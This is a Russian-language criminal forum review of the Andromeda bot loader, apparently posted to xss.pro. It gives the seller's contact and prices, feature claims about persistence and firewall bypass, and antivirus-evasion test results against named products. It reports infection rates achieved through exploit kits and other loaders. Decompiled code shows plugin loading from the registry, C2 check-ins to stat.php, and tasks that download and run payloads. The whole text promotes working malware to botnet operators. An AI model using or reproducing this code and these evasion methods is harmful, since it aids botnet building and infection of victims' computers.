На волне лета и всеобщего упадка сил хочется не спеша лежать на пляже и потягивать текиллу с лимончиком, но хочу огорчить вас.
Пока вы балдеете - конкуренты качаются. Поэтому хочу взбодрить вас и рассказать о новом лоадере.
Итак встречаем andromeda!
Краткая информация:
Автор - waahoo
Контакты:
jabber: waahoo@exploit.im
Профиль: waahoo
Топик о продаже: Топик
Описание от автора:
Универсальный модульный бот. На основе этого продукта можно построить ботнет с безгранично разнообразными возможностями. Функционал бота расширяется с помощью системы плагинов, которые могут быть подгружены в нужном количестве и в любое время. Есть лоадер, изначально задумывалось поставлять лоадер в качестве отдельного плагина, сейчас же прогруз добален в базовый функционал.
Существует две версии бота:
01.* с паблик инжектом (используется QueueUserAPC)
- Не ограниченная по количеству поддержка резервных доменов.
- Модульный. Вы сами можете перепрофилировать свой ботнет под Ваши нужды в любое время.
- В системе не агресивен, для установки не требуются права администратора, окно UAC не выскакивает.
- Защищает себя, не подготовленный юзер не сможет удалить бота из системы.
- Обходит фаерволы, не палится в процессах, используется инжект в доверенный процесс.
- Не выбрасывает из себя никаких DLL, не содержит TLS, легко криптуется.
- Работает на линейке от WinXP до Win7. Корректно работает на серверных ОС в разных сессиях.
- Малый размер, полностью написан на ассемблере. (не ZeuS ёпта, расслабтесь))
Мои тесты:
- Comodo Internet Security - палит создание процесса, инжект не видит.
- Outpost Security Suite Pro 7 - не палит
- Kaspersky Internet Security 2011 - не палит
- ESET NOD32 Smart Security 4.2 - не палит
- avast! Internet Security 6 - не палит
- Avira Premium Security Suite - не палит
Панель управления:
Написана на PHP в связке с MySQL.
- Определение ботов находящихся за NAT.
- Подсчет статистики по ботнету. Боты онлайн/боты оффлайн/мертвые боты/статистика по странам/статистика по платформам.
- Подсчет количества выполненных/не выполненных задач.
- Можно установить лимит на количество выполнений конкретной задачи.
- Распределение задач по странам.
- Удаление всей статы/удаление мертвых ботов из базы.
- Работа с базой данных максимально оптимизированна, теоритически админка выдержит очень большие нагрузки, хотя тесты и время покажут.
Скриншоты админ панели:




PS:
В ближайшее время ожидайте выхода в свет следующих плагинов: Formgrabber (HTTPS,ie,ff), HTTP Replace (ie,ff,opera,chrome) - подмена выдачи... to be continued...
Ценники:
01.* - 300$
02.* - 900$
Ребилд на новый домен (основной) - 30$
Каждый дополнительный домен - 10$
Socks4 плагин, без бекконнекта - 50$
------==Установка==------
Ну здесь вопросов не возникло. Все как бы банально и как у всех. Заливка файлов на ftp, установка прав, создание БД.
установка:
скопировать файлы php и inc
Запустить install и import
У меня ушло минуты 2-3.
Рис.1
------==Подготовка билда==------
В поисках крипта я в очередной раз вынужден был обратиться к паблик сэллерам. Мой знакомый появлялся крайне редко. Пришлось крутиться.
В итоге первый же криптер все сделал. Файл был проверен и работал. (приключения начались позже с этим билдом, о чем я конечно же не забуду написать.)
Вес билда - 8,2 кб.
Вес криптованного билда 23,5кб.
------==Реверс==------
Наш друг и товарищ el- был в очередной раз привлечен к реверсу. За что ему огромное спасибо и вечный почет.
И так, все начинается с проверки является ли данная ось 64 разрядной по средством вызова IsWow64Process из импорта, и если нет, то все завершается, тут сразу два минуса, первый это конечно то, что не поддерживается 64 разрядная ось, коих сейчас вагон и маленькая тележка в трафе, а вторая то что апиха дергается из импорта, а если верить msdn Minimum supported client: Windows Vista, Windows XP with SP2, бинарник просто не запустится на осях ниже, в самом msdn советуют дергать её динамически. Дальше идет разделение, вернее отличие простой версии от той которая с обходами в первой используется обычный на сегодняшний день обход с CreateProcess("svchost.exe",CREATE_SUSPENDED)/NtMapViewOfSection/QueueUserAPC/ResumeThread, во второй же используется похожая техника с небольшими исправления, т.к. не используется QueueUserAPC. Кстати она ( эта техника ) недавно продавалась expl0der'ом и была вроде как описана Clerk'ом на wasm'е, так что опять же ничего особенного, но подробности я раскрывать не буду. В общем благодаря этим инжектам, в созданный процесс svchost'а попадает базонезависимый код, который распаковывает дллку, настраивает её в памяти и передает управление на мейн. Еще один минус, коим страдает сейчас большинство софта, это отсутствие проверки на низкий integrity level и попытки поднять его до нормального, такое произойдет ( произойдет обязательно, в большом количестве случаев ) когда такой лоадер запустится пробив internet explorer 7 и выше на vista/windows 7 с включенным protected mode. ( подробнее тут http://msdn.microsoft.com/en-us/library/bb...2(v=vs.85).aspx ) Об этом по сути должен думать на равне с кодером лоадеров ( софта ), кодеры связок, но почему то всем пофигу.
В самой длл, первый делом пытается получить переменную среды с именем src по средством GetEnvironmentVariable ( надо сказать что эта переменная заполняется до инжекта, в ней содержится путь до бинарника ), если такая переменная есть, а так же в реестре HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows:Load уже не прописан бот, то он туда прописывается, ключу выставляется DACL для HKCU D
После проверив наличие другана в системе, а именно не создан ли уже mutex andromeda и если такого не нашли стартует winsock и из ресстра HKEY_CURRENT_USER\\Software\\Microsoft\\andromeda читаются плагины, которые туда видимо записываются одной из команд лоадера.
Код:
LSTATUS __cdecl load_plugins()
{
dwIndex = 0;
result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\andromeda", 0, 0, 0, 0x20019u, 0, &hKey, 0);
if ( !result )
{
while ( 1 )
{
cchValueName = 12;
v1 = RegEnumValueA(hKey, dwIndex, &ValueName, &cchValueName, 0, 0, 0, &cbData);
if ( v1 == ERROR_NO_MORE_ITEMS )
break;
if ( v1 )
break;
lpAddress = VirtualAlloc(0, cbData, 0x1000u, 4u);
cchValueName = 12;
if ( RegQueryValueExA(hKey, &ValueName, 0, 0, lpAddress, &cbData) )
break;
map_image(lpAddress);
VirtualFree(lpAddress, 0, 0x8000u);
++dwIndex;
}
result = RegCloseKey(hKey);
}
return result;
}
int __stdcall map_image(int a1)
{
decrypt(a1 + 16, *(a1 + 8));
v5 = VirtualAlloc(0, *(a1 + 4), 0x1000u, 0x40u);
if ( v5 )
{
unpack(ebp0, a1 + 16, v5);
if ( v2 )
{
if ( fix_reloc(v5) )
{
fix_import(v5);
if ( v3 )
return ((v5 + *(*(v5 + 60) + v5 + 40)))(v5, 1, &g_event);
}
}
VirtualFree(v5, 0, 0x8000u);
}
return 0;
}
Далее в бесконечном цикле, запускается основной поток, который стучится, получает задания и выполняет их, после выполнения дергая глобальный event, который предварительно был создан, в главном же потоке его походу должны дожидаться, но дожидаются вновь созданный, видимо небольшая ошибка.
Код:
while ( 1 )
{
CreateThread(0, 0, main_thread, 0x18894, 0, 0);
v1 = CreateEventA(0, 0, 0, 0);
WaitForSingleObject(v1, 540000u);
CloseHandle(v1);
}
В основном потоке все просто, собирается инфа по оси ( GetVersionEx ), делается запрос на гугл получая реальный ip ( get_real_ip ), собирается запрос, где g_bot_id получается по средством GetVolumeInformation, а g_bot_ver вшитая в бинарник контстанта.
Код:
void __stdcall main_thread(int a1)
{
lpMem = HeapAlloc(hHeap, 8u, 0x100u);
VersionInformation.dwOSVersionInfoSize = 148;
GetVersionExA(&VersionInformation);
get_real_ip();
v5 = v4;
BYTE1(real_ip) = v3;
LOBYTE(real_ip) = v5;
real_ip = __ROR__(real_ip, 16);
v6 = BYTE1(real_ip);
BYTE1(real_ip) = real_ip;
LOBYTE(real_ip) = v6;
wsprintfA(lpMem, "id=%lu&v=%04x&os=%04x&localip=%lu", g_bot_id, g_bot_ver, os_ver, real_ip);
v1 = &g_links;
while ( 1 )
{
v8 = *v1;
++v1;
if ( !v8 )
goto LABEL_7;
v9 = http_request(0, v8, "stat.php", lpMem);
if ( v9 )
{
v10 = recv_with_realloc(v9);
v12 = v10;
if ( v10 )
{
if ( *(v10 + 1) == '--!<' )
{
g_task_name = *(v1 - 1);
base64_decode_n_execute_task(v10);
SetEvent(g_event);
LABEL_7:
HeapFree(hHeap, 0, lpMem);
ExitThread(0);
}
}
}
}
}
В цикл из глобального массива g_links, берутся зашитые в бота домены по каждому из них идет попытка отстука, в ответ получается base64 буфер с разными задания для данного бота, которые потом выполняются. Задание бывают трех типов, первое это просто запуск процесса, второе это добавления плагина в реестр ( описано выше ), проецирование его в память и передача на него управления и третье это перезапись основного файла бота, обновление.
Код:
case '1':
v6 = GetTickCount();
v7 = ExpandEnvironmentStringsA("%TMP%", v17, 0x100u);
wsprintfA(&v17[v7 - 1], "\\%08x.tmp", v6);
v5 = http_request(1, name, 0, 0);
if ( v5 )
{
if ( create_write_file_by_name(v5, v17, 1) )
v15 = create_process(v17);
}
break;
case '2':
v8 = http_request(1, name, 0, 0);
if ( v8 )
{
v9 = recv_with_realloc(v8);
v16 = v9;
if ( v9 )
{
v10 = (v9 + 4);
if ( *(v9 + 1) == 0x4034B50 )
{
if ( decrypt2(v9 + 20, *(v9 + 3)) == *(v9 + 4) )
{
if ( add_plugin_to_reg(v10) )
{
v15 = map_image(v10);
HeapFree(hHeap, 0, v16);
}
}
}
}
}
break;
case '3':
v14 = 1;
if ( !RegCreateKeyExA(
HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
0,
0,
0,
0x20019u,
0,
&hKey,
0) )
{
cbData = 256;
RegQueryValueExA(hKey, "Load", 0, 0, v17, &cbData);
RegCloseKey(hKey);
CloseHandle(hObject);
v11 = http_request(1, name, 0, 0);
if ( v11 )
{
if ( create_write_file_by_name(v11, v17, 1) )
{
CloseHandle(*(&stru_14254.lpVendorInfo + 2));
v15 = create_process(v17);
}
}
}
break;
После для каждого из заданий делается доп отстук подтверждающий, что задание выполнено удачно. Надо так же заметить, что я реверсил дллку из pro версии лоадера, но я не думаю что они вообще отличаются.
[14:09:55] <Ar3s> странно. автор клялся и божился что никаких dll нету
[14:10:18] <EL-> ну она внутри и мапится в память, на винт она не дропается
[14:10:20] <EL-> по сути считай нету
[18:13:44] <waahoo> отличная работа) 5+ реверсеру.
[18:23:56] <waahoo> кое какие комментарии я все же дам.
>>Minimum supported client: Windows Vista, Windows XP with SP2
да, я планирую также включить в бота векторную обработку исключений, т.е. ниже хр он работать не будет.
>>отсутствие проверки на низкий integrity level и попытки поднять его до нормального
нам и не нужны права админа и высокий integrity level. бот и без этого прекрасно работает.
------==Обходы==-----
winXP SP3
На все АВ ставятся самые последние обновления баз и модулей!!!
[*]Comodo Internet Security - палится перехват клавиатуры и инжект как на лайт так и на фулл версии. Рис.2
[*]Outpost Security Suite Pro 7 - не палит ничего!
[*]Kaspersky Internet Security 2011 - запустить на VirtualBox не удалось.
[*]ESET NOD32 Smart Security 4.2 - не палит ничего!
[*]avast! Internet Security 6 - палит вызов софта как в настройке "дом" так и в настройке "интернет". Походу спалился мой домен... Беру билд на новый домен. Палится инжект. Пробую режим дом и интернет. Ничего не меняется. Рис.3 Рис.4
[*]Avira Premium Security Suite - палит exe Рис.5. Смотрим криптованный вариант - без проблем.
win7 SP1
На все АВ ставятся самые последние обновления баз и модулей!!!
[*]Comodo Internet Security - автоматом запускает в sendbox Рис.6 Отключаю sendbox и стартую снова. Палит перехват клавиатуры Рис.7. Разрешаю. Палит инжект в svchost. Рис.8
[*]Outpost Security Suite Pro 7 - не палит
[*]Kaspersky Internet Security 2011 - палит Рис.9
[*]ESET NOD32 Smart Security 4.2 - не палит ничего!
[*]avast! Internet Security 6 - предлагает открыть в песочнице Рис.10. Разрешаю обычный запуск. Все чисто.
[*]Avira Premium Security Suite - не палит
!!!В этом месте выяснилось что крипт давал доп алерты на comodo. На этом месте автор сильно задумался и через пару дней сообщил что криптом первое время будет заниматься сам.
Тест пришлось переделать заново.
[22:25:13] <waahoo> отрабатывает, но при запуске проактивка палит инжект шелл-кода, в некриптованом билде мой комод видит только запуск свцхоста. нажимаю "пропустить" благополучно скачивает и запускает два ексешника, оба стартуют и ломятся в сеть.
по поводу крипта, написан на VB, он запускает вторую свою копию (получаем алерт на запуск процесса) и инжектит туда шелл-код (получаем еще один алерт, скрин ниже), как он инжектит я не стал разбираться, далее уже мой бот запускает свцхост (и еще один алерт).
Cкрин алерта http://stuffed.ru/uimages/y2011/06-22/2365.gif думаю другие ав продукты также беспощадно спалят такой крипт, он только сигнатурно чист.
[23:06:28] <waahoo> неполучается проверить поведение остальных ав, почему то у меня на виртулке, ни аваст, ни нод, ни оутпост не видят банального WriteProcessMemory/CreateRemoteThread неговоря уже о сабже, каспер даже не запускаецо. если есть возможность, проверь.
win7 SP1 Тест2 (глобальная доработка которая прошла после первых тестов.)
[*]Comodo Internet Security - предлагает запустить в sandbox Рис.11 Отключаю его. Стартую заново. Палит запуск. Рис.12
[*]Outpost Security Suite Pro 7 - не палит.
[*]Kaspersky Internet Security 2011 - не палит.
[*]ESET NOD32 Smart Security 4.2 - не палит
[*]avast! Internet Security 6 - Предлагает открыть в песочнице. Делаю обычный старт - всё нормально.
[*]Avira Premium Security Suite - не палит
!!!Копировал файл на рабочий стол. Файл не удалился во всех тестах (фиксится в данный момент)
------==Тесты==------
В тестах я грузил андромеду или через другой лоадер или со связки, а уже с него для полной картины я прогружал стукача.
Тест1
Lite loader=>andromeda
Отгружено - 434
Отстучалось в админку - 321-30=291
Отстук составляет - 67%
Стукач
отгружено с андромеды - 304
отстучалось на гейт - 303
Отстук составляет - 99,7%
LiteLoader Админка_до Админка_после Задание
Тест2
katrin exploit system=>amdromeda
Неожиданно катрина на 5К трафа обнулила стату.
Пробовал еще несколько раз сливать - тоже самое. Пришлось с автором решать вопрос.
Таким образом сколько отстучалось новых знаю, но сколько пробито было - не заскринил, придется поверить на слово автору катрины: 10949|7152|799|11.17%
Таким образом считаем что было отгружено - 799
Отстучалось - 601-321= 280
Отстук составляет - 35%
Рис16
!!!!!!! Начали разбираться что же за проблема. Как раз в это время я параллельно тестил на фаерволы. И выяснили что проблема с криптом не совсем банальная. И теоретически может дать подобный эффект. Поэтому спустя некоторое время я получил обновленный билд и сделал тест заново.
Тест3
katrin exploit system=>amdromeda
Перед тестом я почистил мертвых ботов в админке.
Отгружено по связке - 644
Отстучалось новых на стату - 595-218=377
Отстук составляет - 58,5%
Катрина Андромеда_до Андромеда_после
Андромеда_через_сутки
Тест4
Dloader=>andromeda
Отгружено по лоадеру - 933
Отстучалось новых на стату -892-90=802
Отстук составляет - 85,9%
Dloader Андромеда_до Андромеда_после
--------==Отзыв о авторе==-------
Очень приятный в общении человек. Специалист своего дела, в чем мы неоднократно убеждались на протяжении проходившего квеста. Автор занял почетное второе место и писал от бедра на асме.
Трудоголик, часто для того что бы выяснить какой-нибудь спорный момент с лоадером не спал днями и ночами. Учтив в общении. Очень активно помогал и подсказывал по ходу тестов и работы лоадера.
--------==Отзыв о лоадере==-------
Итак, подводя итоги что хочется написать. Лоадер пока еще молод. Было сделано не много тестов на отстук и говорить о его показателях рано.
Но, основываясь на моем знакомстве с автором, я уверен, что показатели будут улучшаться день ото дня.
На текущий момент лоадер замечательно выполняет свою функцию. Отстук с него очень высокий.
Несколько хромает отстук самого лоадера. Ждем улучшений и доп тестов.
И хочется еще сказать пару слов о перспективах. Насколько мне известно лоадер модульный. На данный момент несколько модулей уже реализовано, и на подходе еще немалое количество. Так что в перспективе этот продукт займет стойкую позицию на рынке и найдет своих потребителей.
--------==Благодарности==-------
waahoo - за предоставленный продукт и замечательные беседы в жабе!
el- - за реверс! Отдельная почетная благодарность нашему соавтору!
Blackkat - спасибо за связку.
Gdark, chococream, INC. - за неоценимую помощь!
ALL members - за то, что посещаете наш форум и читаете мои обзоры.
Записки на полях, специально для xss.pro/ by Ar3s